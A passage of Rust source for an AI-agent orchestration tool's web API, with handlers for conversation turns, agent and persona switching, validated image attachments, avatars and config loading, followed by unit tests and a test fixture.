7045        Ok(Json(TalkView::new(talk, thinking)))
7046    })
7047    .await
7048}
7049
7050/// Atomically edit a queued draft's text while preserving its attachments.
7051/// The snapshot fields make a concurrent queue or drain a conflict rather
7052/// than silently discarding either message.
7053async fn talk_pending_edit(
7054    State(ui): State<Arc<Ui>>,
7055    Path(id): Path<String>,
7056    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7057) -> ApiResult<Json<TalkView>> {
7058    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7059    let (view, reclaimed) = blocking({
7060        let ui = Arc::clone(&ui);
7061        move || {
7062            let id = resolve_talk(&ui.talks, &id)?;
7063            let mut talk = ui.talks.get(&id)?;
7064            if !talk.status.open() {
7065                return Err(ApiError::conflict(format!(
7066                    "talk {} is {} and takes no more turns",
7067                    talk.short(),
7068                    talk.status.as_str()
7069                )));
7070            }
7071            if !talk::edit_pending_text(
7072                &mut talk,
7073                &ui.talks,
7074                &body.text,
7075                &body.expected_text,
7076                &body.expected_attachments,
7077            )? {
7078                return Err(ApiError::conflict(
7079                    "queued message changed; reload it before editing",
7080                ));
7081            }
7082            let claim = match ui.begin_queued_talk_turn(&id)? {
7083                Some(turn_guard) => {
7084                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7085                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7086                }
7087                None => None,
7088            };
7089            let thinking = ui.is_thinking(&id);
7090            Ok((TalkView::new(talk, thinking), claim))
7091        }
7092    })
7093    .await?;
7094    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7095        let talks = ui.talks.clone();
7096        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7097    }
7098    Ok(Json(view))
7099}
7100
7101/// The 409 for a talk that takes no more turns.
7102fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7103    if talk.status.open() {
7104        return Ok(());
7105    }
7106    Err(ApiError::conflict(format!(
7107        "talk {} is {} and takes no more turns",
7108        talk.short(),
7109        talk.status.as_str()
7110    )))
7111}
7112
7113/// The body of `POST /api/talks/{id}/agent`.
7114#[derive(Debug, Deserialize)]
7115struct TalkAgent {
7116    agent: String,
7117}
7118
7119/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7120/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7121/// start a turn on the old session between the check and the write; one that
7122/// arrives in that window finds the talk busy and becomes a draft.
7123async fn talk_agent(
7124    State(ui): State<Arc<Ui>>,
7125    Path(id): Path<String>,
7126    Json(body): Json<TalkAgent>,
7127) -> ApiResult<Json<TalkView>> {
7128    let id = {
7129        let ui = Arc::clone(&ui);
7130        blocking(move || resolve_talk(&ui.talks, &id)).await?
7131    };
7132    let repo = {
7133        let ui = Arc::clone(&ui);
7134        let id = id.clone();
7135        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7136    };
7137    let cfg = config_for(&repo).await?;
7138    // Refuse before taking the claim; see `talk_implementers`.
7139    {
7140        let ui = Arc::clone(&ui);
7141        let id = id.clone();
7142        let cfg = cfg.clone();
7143        let wanted = body.agent.clone();
7144        blocking(move || {
7145            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7146                .map_err(ApiError::bad_request_from)?;
7147            refuse_if_closed(&ui.talks.get(&id)?)
7148        })
7149        .await?;
7150    }
7151    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7152        return Err(ApiError::conflict(
7153            "a talk turn is running; change the agent once it has answered",
7154        ));
7155    };
7156    let switched = {
7157        let ui = Arc::clone(&ui);
7158        let id = id.clone();
7159        let cfg = cfg.clone();
7160        blocking(move || {
7161            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7162                .map_err(ApiError::bad_request_from)?;
7163            let mut talk = ui.talks.get(&id)?;
7164            if !talk.status.open() {
7165                return Err(ApiError::conflict(format!(
7166                    "talk {} is {} and takes no more turns",
7167                    talk.short(),
7168                    talk.status.as_str()
7169                )));
7170            }
7171            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7172            Ok(talk)
7173        })
7174        .await
7175    };
7176    // A `/say` that landed while this held the claim saw the talk busy and
7177    // left a durable draft, trusting the claim's owner to drain it. So the
7178    // claim, once taken, goes to `drain_loop` whatever the outcome - it releases at once
7179    // when nothing is queued - rather than being dropped here.
7180    let fresh = {
7181        let ui = Arc::clone(&ui);
7182        let id = id.clone();
7183        blocking(move || Ok(ui.talks.get(&id)?)).await
7184    };
7185    let draining = match fresh {
7186        Ok(talk) => {
7187            let draining = talk.status.open()
7188                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7189            let talks = ui.talks.clone();
7190            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7191            draining
7192        }
7193        Err(_) => false,
7194    };
7195    let talk = switched?;
7196    Ok(Json(TalkView::new(talk, draining)))
7197}
7198
7199/// The body of `POST /api/talks/{id}/persona`.
7200#[derive(Debug, Deserialize)]
7201struct TalkPersona {
7202    persona: String,
7203}
7204
7205/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7206/// like [`talk_agent`]: the turn guard is held for the change and always handed
7207/// to `drain_loop`, so a draft left meanwhile is not stranded.
7208async fn talk_persona(
7209    State(ui): State<Arc<Ui>>,
7210    Path(id): Path<String>,
7211    Json(body): Json<TalkPersona>,
7212) -> ApiResult<Json<TalkView>> {
7213    let id = {
7214        let ui = Arc::clone(&ui);
7215        blocking(move || resolve_talk(&ui.talks, &id)).await?
7216    };
7217    let repo = {
7218        let ui = Arc::clone(&ui);
7219        let id = id.clone();
7220        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7221    };
7222    let cfg = config_for(&repo).await?;
7223    // Refuse before taking the claim; see `talk_implementers`.
7224    {
7225        let ui = Arc::clone(&ui);
7226        let id = id.clone();
7227        let cfg = cfg.clone();
7228        let wanted = body.persona.clone();
7229        blocking(move || {
7230            if persona::find(&cfg.talk.personas, &wanted).is_none() {
7231                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7232            }
7233            refuse_if_closed(&ui.talks.get(&id)?)
7234        })
7235        .await?;
7236    }
7237    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7238        return Err(ApiError::conflict(
7239            "a talk turn is running; change the persona once it has answered",
7240        ));
7241    };
7242    let switched = {
7243        let ui = Arc::clone(&ui);
7244        let id = id.clone();
7245        let cfg = cfg.clone();
7246        blocking(move || {
7247            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7248                return Err(ApiError::bad_request(format!(
7249                    "unknown persona `{}`",
7250                    body.persona
7251                )));
7252            };
7253            let mut talk = ui.talks.get(&id)?;
7254            if !talk.status.open() {
7255                return Err(ApiError::conflict(format!(
7256                    "talk {} is {} and takes no more turns",
7257                    talk.short(),
7258                    talk.status.as_str()
7259                )));
7260            }
7261            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7262            Ok(talk)
7263        })
7264        .await
7265    };
7266    // As in `talk_agent`: a taken claim goes to `drain_loop` whatever happened.
7267    let fresh = {
7268        let ui = Arc::clone(&ui);
7269        let id = id.clone();
7270        blocking(move || Ok(ui.talks.get(&id)?)).await
7271    };
7272    let draining = match fresh {
7273        Ok(talk) => {
7274            let draining = talk.status.open()
7275                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7276            let talks = ui.talks.clone();
7277            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7278            draining
7279        }
7280        Err(_) => false,
7281    };
7282    let talk = switched?;
7283    Ok(Json(TalkView::new(talk, draining)))
7284}
7285
7286/// The body of `POST /api/talks/{id}/implementers`.
7287#[derive(Debug, Deserialize)]
7288struct TalkImplementers {
7289    implementers: u8,
7290}
7291
7292/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7293/// like [`talk_agent`]: the turn guard is held for the change and always handed
7294/// to `drain_loop`, so a draft left meanwhile is not stranded.
7295async fn talk_implementers(
7296    State(ui): State<Arc<Ui>>,
7297    Path(id): Path<String>,
7298    Json(body): Json<TalkImplementers>,
7299) -> ApiResult<Json<TalkView>> {
7300    let id = {
7301        let ui = Arc::clone(&ui);
7302        blocking(move || resolve_talk(&ui.talks, &id)).await?
7303    };
7304    let repo = {
7305        let ui = Arc::clone(&ui);
7306        let id = id.clone();
7307        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7308    };
7309    let cfg = config_for(&repo).await?;
7310    // Refuse a request that cannot succeed before taking the claim: a claim
7311    // taken for it is handed to `drain_loop`, which holds the talk busy for a
7312    // moment, so a refusal would make the next request see "busy" instead of
7313    // its own answer. The checks after the claim stay the ones that decide.
7314    {
7315        let ui = Arc::clone(&ui);
7316        let id = id.clone();
7317        let cfg = cfg.clone();
7318        let wanted = body.implementers;
7319        blocking(move || {
7320            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7321            refuse_if_closed(&ui.talks.get(&id)?)
7322        })
7323        .await?;
7324    }
7325    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7326        return Err(ApiError::conflict(
7327            "a talk turn is running; change the implementers once it has answered",
7328        ));
7329    };
7330    let switched = {
7331        let ui = Arc::clone(&ui);
7332        let id = id.clone();
7333        let cfg = cfg.clone();
7334        blocking(move || {
7335            let chosen =
7336                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7337            let mut talk = ui.talks.get(&id)?;
7338            if !talk.status.open() {
7339                return Err(ApiError::conflict(format!(
7340                    "talk {} is {} and takes no more turns",
7341                    talk.short(),
7342                    talk.status.as_str()
7343                )));
7344            }
7345            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7346            Ok(talk)
7347        })
7348        .await
7349    };
7350    // As in `talk_agent`: a taken claim goes to `drain_loop` whatever happened.
7351    let fresh = {
7352        let ui = Arc::clone(&ui);
7353        let id = id.clone();
7354        blocking(move || Ok(ui.talks.get(&id)?)).await
7355    };
7356    let draining = match fresh {
7357        Ok(talk) => {
7358            let draining = talk.status.open()
7359                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7360            let talks = ui.talks.clone();
7361            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7362            draining
7363        }
7364        Err(_) => false,
7365    };
7366    let talk = switched?;
7367    Ok(Json(TalkView::new(talk, draining)))
7368}
7369
7370/// `POST /api/talks/{id}/close`.
7371async fn talk_close(
7372    State(ui): State<Arc<Ui>>,
7373    Path(id): Path<String>,
7374) -> ApiResult<Json<TalkView>> {
7375    blocking(move || {
7376        let id = resolve_talk(&ui.talks, &id)?;
7377        let mut talk = ui.talks.get(&id)?;
7378        talk::close(&mut talk, &ui.talks)?;
7379        let thinking = ui.is_thinking(&talk.id);
7380        Ok(Json(TalkView::new(talk, thinking)))
7381    })
7382    .await
7383}
7384
7385/// `POST /api/talks/{id}/reopen`.
7386async fn talk_reopen(
7387    State(ui): State<Arc<Ui>>,
7388    Path(id): Path<String>,
7389) -> ApiResult<Json<TalkView>> {
7390    blocking(move || {
7391        let id = resolve_talk(&ui.talks, &id)?;
7392        let mut talk = ui.talks.get(&id)?;
7393        talk::reopen(&mut talk, &ui.talks)?;
7394        let thinking = ui.is_thinking(&talk.id);
7395        Ok(Json(TalkView::new(talk, thinking)))
7396    })
7397    .await
7398}
7399
7400/// `DELETE /api/talks/{id}`.
7401///
7402/// Removes the conversation's record and artifacts outright, unlike
7403/// [`talk_close`] which keeps the record as history. A turn already in
7404/// flight is not refused here the way [`run_delete`] refuses a live run:
7405/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7406/// under [`Talks::guard`], that the record they are about to write back is
7407/// still there, so a delete racing a turn is safe without this route having
7408/// to know a turn is running at all.
7409async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7410    blocking(move || {
7411        let id = resolve_talk(&ui.talks, &id)?;
7412        ui.talks.remove(&id)?;
7413        Ok(StatusCode::NO_CONTENT)
7414    })
7415    .await
7416}
7417
7418/// Expand an id or short id to exactly one talk id.
7419fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7420    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7421}
7422
7423/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7424/// future `talk-say`.
7425async fn talk_attachment_post(
7426    State(ui): State<Arc<Ui>>,
7427    Path(id): Path<String>,
7428    headers: HeaderMap,
7429    body: Bytes,
7430) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7431    let mime = validate_attachment(&headers, &body)?;
7432    let name = filename_header(&headers);
7433    let data = body.to_vec();
7434    blocking(move || {
7435        let id = resolve_talk(&ui.talks, &id)?;
7436        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7437        Ok((StatusCode::CREATED, Json(att)))
7438    })
7439    .await
7440}
7441
7442/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7443/// `<img>` tag in the transcript.
7444async fn talk_attachment_get(
7445    State(ui): State<Arc<Ui>>,
7446    Path((id, att)): Path<(String, String)>,
7447) -> ApiResult<Response> {
7448    blocking(move || {
7449        let id = resolve_talk(&ui.talks, &id)?;
7450        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7451            return Err(ApiError::not_found(format!(
7452                "talk {id} has no attachment `{att}`"
7453            )));
7454        };
7455        Ok(attachment_response(&meta.mime, data))
7456    })
7457    .await
7458}
7459
7460/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
7461/// the icon setting, so changing it changes the URL.
7462fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7463    let mut id = String::new();
7464    for b in p.id.bytes() {
7465        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7466            id.push(char::from(b));
7467        } else {
7468            id.push_str(&format!("%{b:02X}"));
7469        }
7470    }
7471    format!(
7472        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7473        persona_icon::fingerprint(p.icon.as_deref())
7474    )
7475}
7476
7477#[derive(Debug, Default, Deserialize)]
7478struct AvatarQuery {
7479    persona: Option<String>,
7480    /// Set by the page after the first load failed: skip the `icon`.
7481    builtin: Option<String>,
7482}
7483
7484/// Served with every built-in avatar: it is an image, so nothing else may run.
7485const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7486
7487fn builtin_avatar(id: &str) -> Response {
7488    (
7489        [
7490            (header::CONTENT_TYPE, "image/svg+xml"),
7491            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7492            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7493            (header::CACHE_CONTROL, "no-cache"),
7494        ],
7495        persona_icon::builtin_svg(id),
7496    )
7497        .into_response()
7498}
7499
7500/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
7501/// operator's raster `icon` when it resolves and its bytes agree with its
7502/// type, the built-in SVG otherwise. Display only; every failure is a warning
7503/// and the built-in avatar, never an error response.
7504async fn talk_avatar(
7505    State(ui): State<Arc<Ui>>,
7506    Path(id): Path<String>,
7507    Query(q): Query<AvatarQuery>,
7508) -> ApiResult<Response> {
7509    blocking(move || {
7510        let id = resolve_talk(&ui.talks, &id)?;
7511        let talk = ui.talks.get(&id)?;
7512        let wanted = q
7513            .persona
7514            .as_deref()
7515            .map(str::trim)
7516            .filter(|p| !p.is_empty())
7517            .unwrap_or(&talk.persona)
7518            .to_owned();
7519        let specs = match Config::discover(&talk.repo, None) {
7520            Ok((cfg, _)) => cfg.talk.personas,
7521            Err(e) => {
7522                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7523                Vec::new()
7524            }
7525        };
7526        let Some(found) = persona::find(&specs, &wanted) else {
7527            return Ok(builtin_avatar(persona::DEFAULT_ID));
7528        };
7529        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7530            return Ok(builtin_avatar(&found.id));
7531        };
7532        match persona_icon::load(icon) {
7533            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7534                let mut res = attachment_response(mime, bytes);
7535                res.headers_mut().insert(
7536                    header::CACHE_CONTROL,
7537                    header::HeaderValue::from_static("no-cache"),
7538                );
7539                Ok(res)
7540            }
7541            Ok((mime, _)) => {
7542                tracing::warn!(
7543                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7544                    found.id
7545                );
7546                Ok(builtin_avatar(&found.id))
7547            }
7548            Err(e) => {
7549                tracing::warn!(
7550                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7551                    found.id
7552                );
7553                Ok(builtin_avatar(&found.id))
7554            }
7555        }
7556    })
7557    .await
7558}
7559
7560/// Validate an attachment upload's declared `Content-Type` and the bytes
7561/// themselves, returning the canonical mime on success.
7562///
7563/// Two checks, both required: the header has to name one of
7564/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7565/// simply never in the list, active content rather than a picture, the same
7566/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7567/// magic number has to agree. The second is what stops a mislabeled upload -
7568/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7569/// a declared type is a claim, not a fact, so it is never trusted alone.
7570fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7571    if data.len() > ATTACHMENT_MAX_BYTES {
7572        return Err(ApiError::bad_request(format!(
7573            "attachment is {} bytes, over the {} MiB limit",
7574            data.len(),
7575            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7576        ))
7577        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7578    }
7579    if data.is_empty() {
7580        return Err(ApiError::bad_request("attachment is empty"));
7581    }
7582    let declared = declared_mime(headers)?;
7583    match sniffed_mime(data) {
7584        Some(sniffed) if sniffed == declared => Ok(declared),
7585        Some(sniffed) => Err(ApiError::bad_request(format!(
7586            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7587        ))),
7588        None => Err(ApiError::bad_request(
7589            "the file's bytes do not match any accepted image format",
7590        )),
7591    }
7592}
7593
7594/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7595/// and nothing else - parameters like `; charset=` are stripped, but the
7596/// value itself is not otherwise interpreted.
7597fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7598    let raw = headers
7599        .get(header::CONTENT_TYPE)
7600        .and_then(|v| v.to_str().ok())
7601        .unwrap_or("")
7602        .split(';')
7603        .next()
7604        .unwrap_or("")
7605        .trim()
7606        .to_ascii_lowercase();
7607    ATTACHMENT_MIME_WHITELIST
7608        .iter()
7609        .find(|&&m| m == raw)
7610        .copied()
7611        .ok_or_else(|| {
7612            if raw == "image/svg+xml" {
7613                ApiError::bad_request(
7614                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7615                     not just a picture",
7616                )
7617            } else if raw.is_empty() {
7618                ApiError::bad_request("Content-Type is required for an attachment upload")
7619            } else {
7620                ApiError::bad_request(format!(
7621                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7622                     image/gif or image/webp"
7623                ))
7624            }
7625        })
7626}
7627
7628/// Identify an image by its magic number, independent of whatever
7629/// `Content-Type` claimed.
7630fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7631    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7632        Some("image/png")
7633    } else if data.starts_with(b"\xff\xd8\xff") {
7634        Some("image/jpeg")
7635    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7636        Some("image/gif")
7637    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7638        Some("image/webp")
7639    } else {
7640        None
7641    }
7642}
7643
7644/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7645/// display - see [`talk::Attachment::name`]'s doc on why it never
7646/// contributes to a path. A missing or blank header (curl without it, an
7647/// older front end) falls back to a generic name rather than refusing the
7648/// upload over a field that is cosmetic.
7649fn filename_header(headers: &HeaderMap) -> String {
7650    headers
7651        .get(FILENAME_HEADER)
7652        .and_then(|v| v.to_str().ok())
7653        .map(str::trim)
7654        .filter(|s| !s.is_empty())
7655        .unwrap_or("attachment")
7656        .to_owned()
7657}
7658
7659/// Every attachment `GET` response: the mime re-validated against the same
7660/// closed whitelist the upload route enforces - never the string trusted
7661/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7662/// cannot decide it knows better than the type we send. Unlike a panel asset
7663/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7664/// document renders inline, not agent-authored HTML in a sandboxed frame.
7665fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7666    let content_type = ATTACHMENT_MIME_WHITELIST
7667        .iter()
7668        .find(|&&m| m == mime)
7669        .copied()
7670        .unwrap_or("application/octet-stream");
7671    (
7672        [
7673            (header::CONTENT_TYPE, content_type),
7674            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7675        ],
7676        body,
7677    )
7678        .into_response()
7679}
7680
7681/// The configuration for a repository, read off the disk for this request.
7682///
7683/// Through [`blocking`] because discovery reads and merges several TOML files,
7684/// and because the alternative - caching it in [`Ui`] at startup - would mean
7685/// the operator's phone kept interviewing with a roster they had already
7686/// changed, with no way to reload it but restarting the server they are not
7687/// sitting in front of.
7688async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7689    let repo = repo.to_path_buf();
7690    blocking(move || {
7691        let (cfg, _) = Config::discover(&repo, None)?;
7692        Ok(cfg)
7693    })
7694    .await
7695}
7696
7697/// The one prefix rule, used for both runs and tasks: a leading match for a
7698/// full id, a trailing match for the short form an operator reads off a
7699/// report. Written here rather than borrowed from `queue::resolve_id` because
7700/// the UI needs the two failures as different status codes, and telling them
7701/// apart from an error message is not something to build a route on.
7702fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7703    let mut hits = ids
7704        .into_iter()
7705        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7706    match (hits.next(), hits.next()) {
7707        (Some(one), None) => Ok(one),
7708        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7709        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7710            "`{prefix}` matches more than one {what}, including {a} and {b}"
7711        ))),
7712    }
7713}
7714
7715#[cfg(test)]
7716mod tests {
7717
7718    #[test]
7719    fn holder_reads_the_lease_not_the_record() {
7720        let mut q = Question::new(
7721            "run".to_owned(),
7722            "implement".to_owned(),
7723            "impl-A".to_owned(),
7724            "which?".to_owned(),
7725            String::new(),
7726            Vec::new(),
7727        );
7728        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7729        q.cwd = Some("/tmp".to_owned());
7730        assert_eq!(holder_of(&q, None), Some("nobody"));
7731        let beat = |kind, ago: i64| ask::Lease {
7732            kind,
7733            pid: 1,
7734            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7735                .unwrap(),
7736        };
7737        let fresh = beat(ask::WaiterKind::Asker, 1);
7738        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7739        let daemon = beat(ask::WaiterKind::Daemon, 1);
7740        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7741        let stale = beat(ask::WaiterKind::Asker, 3600);
7742        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7743
7744        // A conductor question says "deputy" only while one is attached and
7745        // alive, and "nobody" - never silence - when nothing ever listened.
7746        let mut c = Question::new(
7747            "task".to_owned(),
7748            crate::conduct::NODE.to_owned(),
7749            "conduct".to_owned(),
7750            "which?".to_owned(),
7751            String::new(),
7752            Vec::new(),
7753        );
7754        assert_eq!(holder_of(&c, None), Some("nobody"));
7755        c.cwd = Some("/tmp".to_owned());
7756        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7757        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7758        let deputy = beat(ask::WaiterKind::Deputy, 1);
7759        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7760        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7761
7762        // A release-watch question: nobody until a deputy is attached.
7763        let mut r = Question::new(
7764            String::new(),
7765            crate::bump::NOTICE_NODE.to_owned(),
7766            "release-watch".to_owned(),
7767            "stuck?".to_owned(),
7768            String::new(),
7769            vec!["hold".to_owned()],
7770        );
7771        assert_eq!(holder_of(&r, None), Some("nobody"));
7772        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7773        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7774        // A choice-less bump notice is nobody's question at all.
7775        r.deputy = None;
7776        r.seat = "bump".to_owned();
7777        assert_eq!(holder_of(&r, None), None);
7778
7779        // A merge approval is the same: nobody until a deputy is attached
7780        // and alive, never a silent "no holder".
7781        let mut m = Question::new(
7782            "run".to_owned(),
7783            crate::land::APPROVAL_NODE.to_owned(),
7784            "land".to_owned(),
7785            "merge?".to_owned(),
7786            String::new(),
7787            Vec::new(),
7788        );
7789        assert_eq!(holder_of(&m, None), Some("nobody"));
7790        assert_eq!(
7791            holder_of(&m, Some(&fresh)),
7792            Some("nobody"),
7793            "a lease with no deputy is not a listener"
7794        );
7795        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7796        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7797        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7798        assert_eq!(holder_of(&m, None), Some("nobody"));
7799    }
7800
7801    fn stub_config() -> Config {
7802        // An explicit roster, so the result never depends on which agent CLIs
7803        // this machine has installed.
7804        Config {
7805            agents: vec![crate::config::AgentSpec {
7806                id: "stub".to_owned(),
7807                kind: AgentKind::Command,
7808                model: None,
7809                command: vec!["true".to_owned()],
7810                extra_args: Vec::new(),
7811                env: Default::default(),
7812                prompt_delivery: None,
7813            }],
7814            ..Config::default()
7815        }
7816    }
7817
7818    fn plain_question(seat: &str) -> Question {
7819        Question::new(
7820            String::new(),
7821            "n".to_owned(),
7822            seat.to_owned(),
7823            "s".to_owned(),
7824            String::new(),
7825            Vec::new(),
7826        )
7827    }
7828
7829    #[test]
7830    fn deputies_enabled_follows_the_config() {
7831        let on = stub_config();
7832        assert!(crate::deputy::can_start(Some(&on), ""));
7833        assert!(crate::deputy::can_start(Some(&on), "stub"));
7834        let mut off = on.clone();
7835        off.daemon.max_deputies = 0;
7836        assert!(!crate::deputy::can_start(Some(&off), ""));
7837        let mut empty = on;
7838        empty.agents.clear();
7839        assert!(!crate::deputy::can_start(Some(&empty), ""));
7840        assert!(!crate::deputy::can_start(None, ""));
7841    }
7842
7843    #[test]
7844    fn question_views_load_the_config_once() {
7845        let dir = TempDir::new().unwrap();
7846        let store = ask::Questions::at(dir.path().to_path_buf());
7847        let mut with_deputy = plain_question("b");
7848        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7849        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7850
7851        let calls = std::cell::Cell::new(0usize);
7852        let views = question_views(qs.clone(), &store, || {
7853            calls.set(calls.get() + 1);
7854            Some(stub_config())
7855        });
7856        assert_eq!(calls.get(), 1);
7857        assert_eq!(views.len(), 3);
7858        for (v, q) in views.iter().zip(&qs) {
7859            assert_eq!(
7860                v.deputies_enabled,
7861                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7862            );
7863        }
7864
7865        let views = question_views(qs, &store, || None);
7866        assert!(views.iter().all(|v| !v.deputies_enabled));
7867
7868        let calls = std::cell::Cell::new(0usize);
7869        let views = question_views(Vec::new(), &store, || {
7870            calls.set(calls.get() + 1);
7871            None
7872        });
7873        assert!(views.is_empty());
7874        assert_eq!(calls.get(), 0);
7875    }
7876
7877    use pretty_assertions::assert_eq;
7878    use serde_json::Value;
7879    use tempfile::TempDir;
7880    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7881
7882    use super::*;
7883    use crate::config::Config;
7884    use crate::queue::Source;
7885
7886    /// How many 10ms steps a settle loop takes before it calls a stall a
7887    /// stall - thirty seconds.
7888    ///
7889    /// These loops wait on real `sh` subprocesses, and the machine that runs
7890    /// the gate runs several suites at once, so a two-second budget was not
7891    /// waiting for the reply, it was racing the scheduler: two of these
7892    /// tests failed under that load with the turn simply not landed yet.
7893    /// This is a hang guard, not a latency assertion - every loop breaks the
7894    /// moment its condition holds, so a generous cap costs an idle machine
7895    /// nothing and still fails a genuine hang instead of hanging the suite.
7896    const SETTLE_STEPS: usize = 3_000;
7897
7898    /// A home with a queue and a runs directory, and a router serving it on
7899    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
7900    /// dependency, not ours - so the tests drive a real socket, which has the
7901    /// side benefit of asserting the status line and content types the phone
7902    /// actually receives.
7903    struct Fixture {
7904        home: TempDir,
7905        addr: SocketAddr,
7906    }
7907
7908    impl Fixture {
7909        async fn start() -> Self {
7910            Self::with_loop(launch_idle).await
7911        }
7912
7913        /// A fixture whose loop is `launch`.
7914        async fn with_loop(launch: Launch) -> Self {
7915            let home = TempDir::new().expect("temp home");
7916            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7917            Self { home, addr }
7918        }
7919
7920        /// A fixture whose `ui.repo` is a real directory rather than the
7921        /// usual placeholder - for the routes that read config off it
7922        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7923        async fn with_repo(repo: PathBuf) -> Self {
7924            let home = TempDir::new().expect("temp home");
7925            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7926            Self { home, addr }
7927        }
7928
7929        /// As [`Fixture::with_repo`], with the machine-config file the
7930        /// settings screen reads and writes.
7931        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7932            let home = TempDir::new().expect("temp home");
